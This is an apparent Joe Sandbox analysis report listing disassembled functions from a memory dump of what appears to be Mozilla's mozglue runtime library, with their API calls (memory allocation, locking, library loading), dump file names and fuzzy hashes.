Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
